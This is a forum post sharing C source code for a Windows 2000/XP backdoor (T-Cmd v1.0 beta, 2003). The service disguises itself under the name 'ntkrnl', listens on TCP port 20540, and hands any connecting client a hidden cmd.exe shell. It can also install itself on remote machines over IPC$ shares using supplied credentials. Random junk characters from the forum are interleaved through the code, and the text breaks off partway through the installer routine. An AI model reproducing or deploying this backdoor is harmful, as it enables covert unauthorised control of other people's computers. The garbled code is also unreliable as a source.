[分享]Windows2000-Xp服务级后门程序(源码) - 数学建模社区-数学中国

#include <windows.h> ) U2 d: h( b/ a) w#include <stdio.h>

#define BUFFER_SIZE 1024 6 K7 e7 i! u' Q) O3 p 0 ?& R3 W, m2 P: _( p5 ]+ Ftypedef struct2 R' y1 E. y) ` k { : t% t; p$ K* j2 A HANDLE hPipe; 3 |2 ^8 M' A: D/ Y! s SOCKET sClient; 3 s2 ?' `8 e g+ t+ f}SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA 4 ^6 Y; ?: z& V$ g) n{ 1 n/ @8 C1 V, N" A! z) C0 X HANDLE hProcess; : g, X ?! P" C) ?& ?& Y( ] DWORD dwProcessId;" I0 c7 U/ j& {3 Y n struct PROCESSDATA *next;% P* P7 A) V( e }PROCESSDATA,*PPROCESSDATA;

HANDLE hMutex;; v8 U4 W) n! q6 G c PPROCESSDATA lpProcessDataHead; 7 e I$ j3 U4 ^) }# A* A0 V! vPPROCESSDATA lpProcessDataEnd;. _+ D# `3 \9 U' m1 J SERVICE_STATUS ServiceStatus;4 M. H( r+ T. t4 t SERVICE_STATUS_HANDLE ServiceStatusHandle;

void WINAPI CmdStart(DWORD,LPTSTR *);7 t. ?) W2 m; z' q; e7 c void WINAPI CmdControl(DWORD);

DWORD WINAPI CmdService(LPVOID);* s3 D1 Q: e& A0 L6 w) M DWORD WINAPI CmdShell(LPVOID);/ a8 `$ \+ g$ ^& U0 h8 ^$ d" A DWORD WINAPI ReadShell(LPVOID);% I) X6 g$ o/ M4 \ DWORD WINAPI WriteShell(LPVOID);

BOOL ConnectRemote(BOOL,char *,char *,char *);7 C: x3 e' Y) ?" x- i void InstallCmdService(char *); 7 D6 P4 l l% k/ ~2 B! @7 ]" Nvoid RemoveCmdService(char *);

void Start(void); : Y9 b8 h; O X' mvoid Usage(void);

int main(int argc,char *argv[])6 X7 F# u) A3 u { 2 c0 H8 J3 b3 j; e1 A$ ?+ @ SERVICE_TABLE_ENTRY DispatchTable[] = 1 |* x' ]4 Z' y, y, T" p5 s9 V { 5 f5 S* O# h: M' l1 O {"ntkrnl",CmdStart},. a1 f% U% [2 S6 Z, o' n {NULL ,NULL } ' u4 D1 @* t( ?3 x5 S };

if(argc==5) A. q% O6 d7 D7 q { 1 O7 R5 O! u$ ?! e) b( H/ F8 q! ^ if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE) % F9 |" M" A! e2 C { 1 j) c. n# U4 E( i" I: T2 a return -1; 2 g; }6 b3 a8 m3 ^! R5 O/ R }

if(!stricmp(argv[1],"-install"))0 n8 ? [, G* s5 P0 ~6 i; ]4 R- w {3 b9 I2 ]- c+ i; x! ]4 C InstallCmdService(argv[2]); H4 o! Z( T+ D" T6 j }6 W D8 U2 R+ H/ R: Z( N0 L else if(!stricmp(argv[1],"-remove")): k5 O' n3 x. I" Z" x { + E" Z }! L+ R0 T1 m RemoveCmdService(argv[2]); ; }! y6 K d- G6 }9 V9 Y, x" t& j }

if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE); e% l v; l1 G% k. O { 3 o& J& a% Q; x0 e# ]$ @5 n3 W return -1; " N! ?3 c% E& d } . d* s% w# f! [3 J return 0; # ~/ d" {& e, w }2 l" J/ a4 S% ^ X: Q* ^ else if(argc==2) . e% s% ~" `2 o7 q' P" ` {/ j$ h; D; R/ |" P/ u- V if(!stricmp(argv[1],"-install")) ' K+ F5 T: z* {" N: z {5 N3 ?5 @! H, I2 a4 y9 M5 f: e& m InstallCmdService(NULL); o b' |- t! _* V/ X }3 v0 s; H* m& l. D- n6 `; _ else if(!stricmp(argv[1],"-remove")) _2 h1 B& ^3 A# U+ e { 8 U0 V" V t0 I/ k* w1 O4 I) U RemoveCmdService(NULL);% ^ ~) R# T8 X1 L } ( j/ q$ S# p$ j else " ]$ y8 f. F; e% V6 H- E { . X: L1 P& v8 T$ D: M8 J; Z8 i Start(); . E0 _7 w* r. H9 v) @0 f& i1 V$ p Usage();' L0 W' d- O( |9 a/ ` }, M6 i) a9 ?: ?/ F0 ^& i( {) h. j7 j return 0; : l+ ?) q5 o* Y4 U6 t }

StartServiceCtrlDispatcher(DispatchTable);

return 0; / d5 v/ W& T/ _1 r: G# _}

void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv) ( E; U& [0 e# w- h0 j* s* F/ b* u{ c2 q& ~; i) l. K* A/ r$ f HANDLE hThread;

ServiceStatus.dwServiceType = SERVICE_WIN32; 7 ^9 {/ f3 y2 v ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 7 W; P) r- ]$ k0 O0 U F/ ` ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP $ D9 d$ K: O: d+ J1 E | SERVICE_ACCEPT_PAUSE_CONTINUE;$ g. q2 s* \0 h( Z ServiceStatus.dwServiceSpecificExitCode = 0;' a, v4 [2 j- _) n5 T/ b ServiceStatus.dwWin32ExitCode = 0; , G: J$ j5 n9 m- x' H2 R/ @ ServiceStatus.dwCheckPoint = 0; 6 a E' O' G2 j. t9 m0 w ServiceStatus.dwWaitHint = 0;

ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);* L$ ?9 t0 U) `) y& k* F if(ServiceStatusHandle==0)# D8 _0 ]& G2 {' g w4 T {( T m8 ^8 E y0 Y6 b5 S OutputDebugString("RegisterServiceCtrlHandler Error !\n"); + h/ b- \' Q# E return ; 2 f' I- P* U, F5 R }

ServiceStatus.dwCurrentState = SERVICE_RUNNING;% f8 I/ r& \. R( u0 {8 O ServiceStatus.dwCheckPoint = 0; 6 F# Z w; g v" T7 p: c( ?) G+ t ServiceStatus.dwWaitHint = 0; 5 B+ d$ u7 `# D * O z* G/ y; `/ C& M5 ` if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)- L. V; w4 L8 s8 T4 r {% [( v# s$ n% x) X OutputDebugString("SetServiceStatus in CmdStart Error !\n"); , F$ ^& K0 \* U' T2 \ return ;- v* u" b9 N( J( [ }

hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); 3 e; o0 ~1 U; v4 P! ]" A i: r if(hThread==NULL)( X" `7 {% w8 p4 G8 Q6 ?% p. H {& z9 w6 R" H( c1 d$ A1 |! c/ l& ^ OutputDebugString("CreateThread in CmdStart Error !\n"); $ |/ N( j- @4 f% ~ }

return ; 7 R4 Q2 N0 I* A1 t9 Q}

void WINAPI CmdControl(DWORD dwCode) ( u( G* s( ]0 X/ E& B2 b9 v6 @! Y{) a% w1 p7 P4 N0 e8 b0 d, W6 N switch(dwCode)6 ]8 P+ A3 T8 C& C9 H% W2 P { . e9 i, ^5 z# C: H. u( o: |6 C case SERVICE_CONTROL_PAUSE: s/ S0 W9 K8 _6 S3 @6 P ServiceStatus.dwCurrentState = SERVICE_PAUSED;8 z2 E+ A/ T5 l8 G break;

case SERVICE_CONTROL_CONTINUE: ( ~! ]! x) m6 r/ c. O ServiceStatus.dwCurrentState = SERVICE_RUNNING; ) U, q u0 w# y+ X: ` break;

case SERVICE_CONTROL_STOP: 2 V2 @: D5 K' a/ F( o WaitForSingleObject(hMutex,INFINITE); ) a" P2 E B8 J* h2 i' ] while(lpProcessDataHead!=NULL)2 _, l S% w% h; v {# P, Y' h" G7 `1 u7 \' N+ ^( n% J7 ~; g0 b TerminateProcess(lpProcessDataHead->hProcess,1); 8 }$ ]" b' {% c4 ^; Z if(lpProcessDataHead->next!=NULL)7 W: U7 @$ W+ ?: Y: a6 ? { , G2 x, f5 W6 z" L% ?' Q lpProcessDataHead=lpProcessDataHead->next; " i$ v! @ h# d& f4 h. @, F }/ J9 l! a* F9 N+ e else * v5 w: e5 q( p' u. ^ k' G { ]& q/ y5 W& g8 b3 ]/ t" Z lpProcessDataHead=NULL;# |$ F) s+ P# P# c3 m+ T2 e- j } . R, [" |" V* Q* E- T; a }

ServiceStatus.dwCurrentState = SERVICE_STOPPED; 1 [/ z2 [$ q1 g1 Z ServiceStatus.dwWin32ExitCode = 0;! S0 j) q x& n8 R3 ` ServiceStatus.dwCheckPoint = 0; - q% a, z$ _' q1 \; [" E+ [9 L- h; ~ ServiceStatus.dwWaitHint = 0;# f4 s8 H: N, Q6 P+ I* `$ X; v if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) 1 @& `" ^- G( }* l/ h) n* E {1 S3 u& A. }, j' { OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");+ f7 q; y! |$ `; n/ ~8 w/ J }

ReleaseMutex(hMutex);. o* s* Y4 D) s5 f; C CloseHandle(hMutex); ( Q `% h1 ~+ k return ;

case SERVICE_CONTROL_INTERROGATE: ; q' q& A7 c- U/ k0 v0 T5 e break;

default:& m2 C6 @) q. {+ t8 R; I break;! t) _$ Z" c4 a( S+ e }

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) : U; y2 v4 l( X% y+ k {% p7 f% G; [5 c3 b OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n"); 1 w0 y# V. ~' N' [3 q0 Y4 \% F0 f }

return ; # n I0 d. o6 l0 d3 c6 o" l+ h}

DWORD WINAPI CmdService(LPVOID lpParam)7 x8 H3 y$ x( b& Z" o: } { 1 V- h5 o( {+ C2 x WSADATA wsa;: q% v- n+ W3 T- G, @- u: d SOCKET sServer; % `' ~- [, J2 ^$ U8 { SOCKET sClient; 8 p& ]# E$ H( T! ?+ s; | HANDLE hThread;% _8 U" p- ^+ ]& g# F struct sockaddr_in sin;

WSAStartup(MAKEWORD(2,2),&wsa);1 B; s* {9 R( S8 } sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4 v& a# p# L; f" D. V, S if(sServer==INVALID_SOCKET)3 B& T% i, f& ^, n2 U% Y { 6 `- h* e6 Z [- b OutputDebugString("Socket Error !\n"); $ o& J6 ~- j0 |8 B6 `! e. t return -1; / v6 E. u2 U& o- m }" H, [; i& [4 @8 o" q7 \0 l sin.sin_family = AF_INET;2 k% {. ^4 `$ M0 F& T% R7 a sin.sin_port = htons(20540);4 {; J+ m" ? [5 E8 r3 o sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)1 q- E0 d$ S$ i1 t { 4 i' v* h, f/ L: Z. y OutputDebugString("Bind Error !\n"); : `2 s% u4 r8 }! x return -1; J2 h }& M3 C3 E } % L1 }5 i+ O. |+ Q- L" U if(listen(sServer,5)==SOCKET_ERROR) k* G, M5 y2 b' ~ {: C6 x E4 R) k" ]8 G9 {/ ` OutputDebugString("Listen Error !\n"); 4 o1 K: o& U( s$ i( ~ U return -1; ( S- T2 q" [6 \- q* M" ? } 6 g4 \- A* I; I( z; {- o8 d 9 o( R1 v3 H) _ hMutex=CreateMutex(NULL,FALSE,NULL);. I3 l# ^' t8 W' t2 R/ `7 ]" \ if(hMutex==NULL) 5 z1 f1 q- x6 | H/ f { # p$ t0 B% }. |! @* q1 w6 w: W* C OutputDebugString("Create Mutex Error !\n"); - J! G% @8 n0 N- \6 u+ d* B } _+ e# ^6 W6 z lpProcessDataHead=NULL; 6 U* q* `; e% ? lpProcessDataEnd=NULL;

while(1). Z* |' y' O3 Q' C* j {4 b q8 I' a! V5 a sClient=accept(sServer,NULL,NULL); 5 W4 K0 J( Z4 \# r hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); " ~) o, }; I2 x0 F if(hThread==NULL) ! w, w. N, F, w, ^( W l& d4 O { - x+ h6 ^3 g+ U/ U0 L OutputDebugString("CreateThread of CmdShell Error !\n"); : q8 o' u8 Q% C( b break;; V8 J( W l# R8 w% U5 } } P- r& }) s; Z3 t" v( z1 x Sleep(1000); * F# X% u4 d( }, N+ t# w! x }

WSACleanup();0 ? O: i; u5 M0 ?4 ? return 0;# p/ ^* B( y/ a, M% R }

DWORD WINAPI CmdShell(LPVOID lpParam) ( b9 U1 g s1 Q! u{ t/ i- w U/ g6 t. n SOCKET sClient=*(SOCKET *)lpParam;1 X/ j! @& @( U1 |+ K% q7 k, m HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;6 e7 G7 z2 g B% ] HANDLE hThread[3]; 5 r; m" L1 ]' f& n ~9 x J DWORD dwReavThreadId,dwSendThreadId; / [- l1 p9 ?1 w: l. G/ j% T' N6 H1 }( r DWORD dwProcessId;! t3 v" s* c0 ]5 k) }$ M DWORD dwResult;1 N3 w# ]' W3 i0 x STARTUPINFO lpStartupInfo;( `: w) z! X: u8 [- H) F. c SESSIONDATA sdWrite,sdRead;0 p8 m$ M6 D$ m; C PROCESS_INFORMATION lpProcessInfo; : R; O% @( [& _( C SECURITY_ATTRIBUTES saPipe; / @' P% f" u3 F PPROCESSDATA lpProcessDataLast; # s E* i# k S8 K$ Z PPROCESSDATA lpProcessDataNow; ( s3 }$ r0 H& Z char lpImagePath[MAX_PATH];

saPipe.nLength = sizeof(saPipe);; i" z* D3 B9 h- K8 R* X saPipe.bInheritHandle = TRUE;% x) m) R$ K* d# F# D6 O saPipe.lpSecurityDescriptor = NULL;, ~5 c5 r, o8 X, d if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0) 7 e# l. y7 {9 c5 t0 R# l { 4 ]; J2 _2 Z& ~ f2 B& [* C OutputDebugString("CreatePipe for ReadPipe Error !\n"); : N7 W0 u7 t2 B3 x2 Y return -1;+ V, A, o# O! f0 [- L }

if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0) 0 d8 b8 B( a6 ~/ K3 J { ) i6 p- S3 ^* b- x- w; S* C OutputDebugString("CreatePipe for WritePipe Error !\n");/ y' H# N* K$ I! v3 U return -1; r! ?( Z* h# a% C$ y }

GetStartupInfo(&lpStartupInfo); ( D6 s- }) A8 u1 O4 w7 W9 F lpStartupInfo.cb = sizeof(lpStartupInfo);8 `" w" W' q3 ~- `" ] l3 w lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;1 H. C" C$ g' [ lpStartupInfo.hStdInput = hWriteShell;! ]( Q2 X4 L2 m* F% H0 |/ N lpStartupInfo.hStdOutput = hReadShell;2 F/ I6 Z; A& Q, v lpStartupInfo.hStdError = hReadShell;5 E) ?* g/ k7 w) G/ y$ j lpStartupInfo.wShowWindow = SW_HIDE;

GetSystemDirectory(lpImagePath,MAX_PATH);; ^; ^6 ~# t' K strcat(lpImagePath,("\\cmd.exe")); 4 f. f# Z/ f8 N$ V9 y , h# a4 V3 w0 B; { WaitForSingleObject(hMutex,INFINITE);+ G5 M2 l+ S( k0 ]. q3 x% E if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)8 ^; y' i3 P& R* F8 E { 0 q1 K1 J8 [* i7 M8 O5 e( n OutputDebugString("CreateProcess Error !\n");, D! v0 Q+ J1 l1 M6 U# y return -1;+ Q" {$ B' @' V }

lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA)); & C K- n9 k/ n+ h3 I$ j lpProcessDataNow->hProcess=lpProcessInfo.hProcess; / I# t# Q9 y# w3 P4 m lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId; ) A; J8 B A8 m- ]2 o% o! u lpProcessDataNow->next=NULL; - L1 @' {5 D8 D$ n0 l9 y& | if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL)) . u/ _ e d; A, Y; d { ; o; c! f* _0 `4 g lpProcessDataHead=lpProcessDataNow; + r+ O; k9 l" z. g! o- a lpProcessDataEnd=lpProcessDataNow; 9 y4 [+ R) O. |% X' N } ) p5 P. e. t9 F6 \- e: ~4 S else8 K: o2 @# I* T) @$ j { " a. G' ~7 d; h lpProcessDataEnd->next=lpProcessDataNow; 9 o# ~! x& m0 U6 V) l4 \ lpProcessDataEnd=lpProcessDataNow; % @( ?0 X1 n1 K }

hThread[0]=lpProcessInfo.hProcess; 9 K" a& f0 k6 `7 \# [ dwProcessId=lpProcessInfo.dwProcessId;7 b) t1 ~3 V3 T5 L' F/ o' U8 E5 l CloseHandle(lpProcessInfo.hThread); 8 H" W$ S+ N4 y, a* u L ReleaseMutex(hMutex);

CloseHandle(hWriteShell); 3 o) k5 J, L% n7 c1 i3 d/ v9 S CloseHandle(hReadShell);

sdRead.hPipe = hReadPipe;3 Y$ f3 K, m ^* c0 F# } sdRead.sClient = sClient;' [7 R4 B2 C* d7 f7 f hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); ; z: B! \! r( g3 e6 J if(hThread[1]==NULL) 6 W7 u* W* R' l! O! q9 E {: x% a; t' c) z* J+ z" v' S8 n OutputDebugString("CreateThread of ReadShell(Send) Error !\n"); ! P. b* n0 L2 C u return -1; 3 S9 k2 J# |9 A& Q }

sdWrite.hPipe = hWritePipe; 5 e l! I2 i$ {! d+ c sdWrite.sClient = sClient; + D0 h; B( z8 l- ^; B* f hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);/ M/ L; D8 P$ t8 s+ b if(hThread[2]==NULL) ) |. v& j6 M5 E, m1 Z2 J, L {8 U6 B4 g4 T' V0 M1 n OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");! _# M' b( ^1 a' p return -1;; R$ y* P$ A- J5 A }

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); 8 h; x# V8 z% @. b3 O if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))% k. @5 o/ E/ {6 k* ` { $ j/ n7 `& P1 R9 D, i% @5 p dwResult-=WAIT_OBJECT_0; ) }5 k4 y$ k% _' y# W0 p; j5 V7 W M if(dwResult!=0) l& I# [+ D l8 D) f {/ D9 a6 A0 @* ~7 }- s$ k6 g TerminateProcess(hThread[0],1);5 _. @0 R4 B) p% R( t% _ }# R1 Z, P" {9 N CloseHandle(hThread[(dwResult+1)%3]); . l5 c0 `" o3 }4 L8 w( I* z9 w CloseHandle(hThread[(dwResult+2)%3]); ( |% j7 J2 ~# H, u' t2 a4 Z }

CloseHandle(hWritePipe); - Z" d$ J" D n; c M1 t+ [4 s CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE); , W; d9 Q! g7 O lpProcessDataLast=NULL;8 p1 U! }3 k! b/ ?1 @# H; j7 e( L) n lpProcessDataNow=lpProcessDataHead; ( Q" j0 a! O( X while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))9 K6 ]8 m8 X: X4 @5 m8 |( T {6 r1 f. g* y" S8 O0 {5 V lpProcessDataLast=lpProcessDataNow; % j a: ?; Z. W1 L, z lpProcessDataNow=lpProcessDataNow->next;" g" x! P y0 u( a* W) v" T5 D }7 A8 p. {, c$ k4 t if(lpProcessDataNow==lpProcessDataEnd) 4 ~, L8 a0 h) E% f: R( Z { 7 I4 O9 s9 ?5 z0 |! r; d& S if(lpProcessDataNow->dwProcessId!=dwProcessId)6 J. F- ?2 Y. u4 X$ q! K { 8 o) t" }0 d( {7 H OutputDebugString("No Found the Process Handle !\n");% @1 [0 G0 [* n6 ~; R2 e }8 ?# E4 b- h z, ~7 S, r else8 I! g" o2 w( U3 j# T0 R4 f { / E" _8 R- P$ |. V! t0 o, @" @ if(lpProcessDataNow==lpProcessDataHead)( q6 K. G* d: F* F- Y {" Y6 H/ A- f5 n8 x b; o A4 V lpProcessDataHead=NULL;2 f+ N$ K' ?) x3 Y lpProcessDataEnd=NULL;: ] m. j5 q: R6 b7 v# B) K } ! a/ |+ V8 x' J0 Q else 6 U! _! @2 L8 s {0 X& r( F/ E$ f lpProcessDataEnd=lpProcessDataLast;5 q9 _! P' S! Q) i0 [6 O8 K( m }7 E% ~- A% K' I# t }# s; C7 n6 @' U8 y3 A* U }0 w2 A# d) S5 d: T9 w& [) P" g( p else- M( B! M1 i5 S Z( W, F/ L { 8 Z. x: a: W, S5 C. _8 m if(lpProcessDataNow==lpProcessDataHead)- b) B2 ^ B; `: a6 v- J# w/ S { 7 c0 d4 X. v8 F* s. t) U- | lpProcessDataHead=lpProcessDataNow->next;. y2 Q' O+ x1 n0 r; s }. [: _. g0 a! v, K( F) \5 X else6 g! B4 R) `% z5 a { ( w( o! }1 @1 J3 _- w% M9 q lpProcessDataLast->next=lpProcessDataNow->next;# ~4 }0 |9 C# A: U# A/ Z } % T2 [/ E7 m1 a# J# k }$ r3 R& r0 ~3 P- |# { ReleaseMutex(hMutex);

return 0;4 }5 U2 h! o2 | }

DWORD WINAPI ReadShell(LPVOID lpParam) . t3 K0 ]5 n: r. F$ V- o{( j( [/ g2 r% H& b" a SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;# U) K+ m6 `6 `: u2 Z7 ] DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;* ?3 J* A7 S/ I. W" m7 u char szBuffer[BUFFER_SIZE]; 0 F, L& F3 J( d) W char szBuffer2Send[BUFFER_SIZE+32]; 2 y& H! C2 S% r6 M( q5 G char PrevChar; $ m0 C. ]; [/ U7 s# p1 Z char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n"; 2 \& F' r; H" t char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";

send(sdRead.sClient,szStartMessage,256,0);8 f6 d3 [* C) @( y send(sdRead.sClient,szHelpMessage,256,0);

while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL)) - R' P7 x/ P+ ]* Q% g { 0 @, t- d3 A; I7 P+ ?/ _2 S4 R2 | if(dwBufferRead>0) 1 t r+ S& v5 {- d+ N) _* U4 M& | { ; I0 D: R2 T: q9 D4 k ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); X1 m( s- G' I! x l: D8 D7 ~1 Z }. W& B$ B% W# s; S3 U l0 Z else/ Z& W/ {+ X: w3 S$ X3 B {& u- u6 G: U, o0 m Sleep(10);6 I ~+ m; r& T4 y9 K continue;% {- F1 Y2 A i4 f, K }

for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++)/ E! `5 b7 P, ?# q9 M { ; ^9 J$ N' {/ p( s* o; c if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r')) . a M/ g1 |$ c% J {3 e: W: M, z. E3 T7 [- `3 I szBuffer[dwBuffer2Send++]='\r'; $ E6 W1 ~$ s# h& W }+ ?4 T0 V6 j( z) T! a8 Z: ` PrevChar=szBuffer[dwBufferNow]; 3 O+ x, d7 d& o, @! j1 u szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];4 Z# n, i6 E5 u z" Y7 ?" H8 a }

if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR) . S' K% e8 Y/ ^2 s' N3 H$ @# h' @ {8 E* m" d/ X/ I: U7 ~ T OutputDebugString("Send in ReadShell Error !\n");% U! H3 |( q% @ X% Z/ F' ^ break;+ A7 d6 t# X1 A% ~- Z! l } ( \- b: z; m' @% o: v2 b2 R" G2 E, I Sleep(5);& V. e9 K s% U& p+ @ }

shutdown(sdRead.sClient,0x02); 3 F& t( p) {1 h3 {6 w# m/ }8 ~' ? closesocket(sdRead.sClient); ( W" X+ F9 M! ?. R/ i' G5 v9 F return 0;4 y* D( |) l( n$ M0 | }

DWORD WINAPI WriteShell(LPVOID lpParam)3 @7 P! b; |! V {, X5 g9 a) d+ y2 |7 ^# b5 `. g( x' \ SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam; 1 s, I1 u2 N( m% E1 T6 `/ o DWORD dwBuffer2Write,dwBufferWritten; 0 z9 {; N+ N5 @" H( g; C char szBuffer[1]; 1 p+ K1 T4 c# M4 q. f( \ char szBuffer2Write[BUFFER_SIZE];

dwBuffer2Write=0; . H, f8 r# P# ^8 P while(recv(sdWrite.sClient,szBuffer,1,0)!=0) * }: R, q- D! C1 @) s2 C) x {1 b% k( u) N$ l; J) }1 V3 j% b# \" Q szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)6 D7 @1 i# @9 g5 R { % v: H( D9 p+ W2 I" W shutdown(sdWrite.sClient,0x02); 0 ^7 I1 J/ h. R' Y7 v closesocket(sdWrite.sClient); 2 E: _0 U' d2 E+ W0 q$ }- D return 0;0 o1 C+ U7 I U6 _ }

if(szBuffer[0]=='\n') $ I- R( Q8 S4 X5 i { : I4 M) t' C+ \! D H `1 P y if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0) 2 }, v- p. l' d. f {* G. {# k. U) A/ Y5 V+ W OutputDebugString("WriteFile in WriteShell(Recv) Error !\n"); 9 S3 H3 C" a- E' _! u break;! h* Q% Y9 s2 O }* h% [" a# s8 o+ e& [ dwBuffer2Write=0; , _% l* i0 k7 o } $ B" ~6 W3 g, ~+ s Sleep(10);5 G8 w4 W" G$ s3 J1 Q* _" V }

shutdown(sdWrite.sClient,0x02); $ D( K3 i4 a+ r3 q5 N closesocket(sdWrite.sClient); 7 K6 b* e$ U ?5 d; E return 0;& z6 ~, X6 g, w }

BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword) 1 I4 p3 d# p$ O* Y5 s {2 i* [9 e( v; I" i char lpIPC[256];4 Z% y" {2 c1 ^ DWORD dwErrorCode; # w+ P: |% z3 h# d NETRESOURCE NetResource;

sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);% G D. V% ^& H. q) _0 N5 W( n" p; h NetResource.lpLocalName = NULL;* v# [# O. `+ O" l, K4 W; n NetResource.lpRemoteName = lpIPC;6 X7 e) \. C X; W8 t5 C |2 Y NetResource.dwType = RESOURCETYPE_ANY;, ~3 B: S/ P5 i1 @4 {" `: ?7 P8 @ NetResource.lpProvider = NULL;

if(!stricmp(lpPassword,"NULL")); u: b) L L/ g" L Y! d {% r# ~) X; C1 ^% ~ a1 F/ l& K lpPassword=NULL; $ z3 J. l0 J$ S8 n# W' m }

if(bConnect) , s; T2 `$ G- a, n P# a* H {/ V& w/ b: X9 n; m F+ O printf("Now Connecting ...... ");8 E9 d2 s, y* n2 Z( f! N) a( V while(1), k7 r1 y2 @* W6 b { # R9 s% l) T6 \1 b, F. Q" [5 _/ ^ dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);2 O# C( ]% C, e4 U if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED)) - n* c) S- g5 |# ]# N {1 ~+ ]3 D' {4 Q2 i WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);6 w# d' {6 c* o& o( T, ~ c: D }) F/ W3 P( e! P else if(dwErrorCode==NO_ERROR)& }7 p9 E/ |" F- b { . J% o/ t5 D# o0 Y printf("Success !\n"); ' @* S3 V3 v/ C* _- P) p7 r break;9 | {6 A# Z2 F' F3 m }4 I* p3 K R' P/ Z7 Y- ^ else! R0 O/ g1 O) r% d+ @7 S0 U5 g( Q { % ~9 c4 m3 b/ e; L5 c) H printf("Failure !\n"); : n% S+ m F$ E/ X2 s return FALSE;0 F# B: Q. t0 N } ; M. K2 R4 w; Y+ ^ Sleep(10); ! {" {7 G. R3 p }: q9 ?- q6 G3 _4 ^ } ^ m2 d; J& P) z( _7 o5 A8 x9 R else * Y+ ~ z2 o* H { U( Q5 w- L* u6 v& e/ o printf("Now Disconnecting ... ");/ p2 ]& w8 y! P, s1 e2 e. v+ M dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); - ]' b, v9 X c6 s+ P3 Y; h if(dwErrorCode==NO_ERROR)8 ^2 f9 J" S6 K4 ~& w {* i& g* a* b! r' C0 X+ Z* s9 D printf("Success !\n");7 z3 e' b0 w' y, `' r } ! u$ B( f* i0 M/ A) X0 j' k else ' ]5 M# W1 R# P { 8 t: d! G4 H* Z printf("Failure !\n");9 ~* ^3 }: @5 u1 E6 R; x return FALSE; 4 P% p4 {" F3 f/ b0 t9 l* @ } 6 l2 q2 n$ x5 q* { }

return TRUE;4 Y% P9 t4 d( D/ t6 T- k" B( h, X. L }

void InstallCmdService(char *lpHost)+ ?, Q) _% y* \# T- S9 @ { / j7 {* P8 a' X( e% C' a' s SC_HANDLE schSCManager;+ ~ C# h( S1 B* z SC_HANDLE schService;, M6 y7 e- ^$ d* r7 | ]" k/ K char lpCurrentPath[MAX_PATH];, q, _# c8 }0 R char lpImagePath[MAX_PATH]; ) h# M" y1 q: n& ?) f* V char *lpHostName; ( g1 M# ^' V C R WIN32_FIND_DATA FileData; 8 M+ F H3 }! Q1 w9 ~& ~% C HANDLE hSearch; 5 c+ j S, Q3 J+ z( q& E V DWORD dwErrorCode;; x& u+ d+ `' ~: n' V/ S* F0 o SERVICE_STATUS InstallServiceStatus;

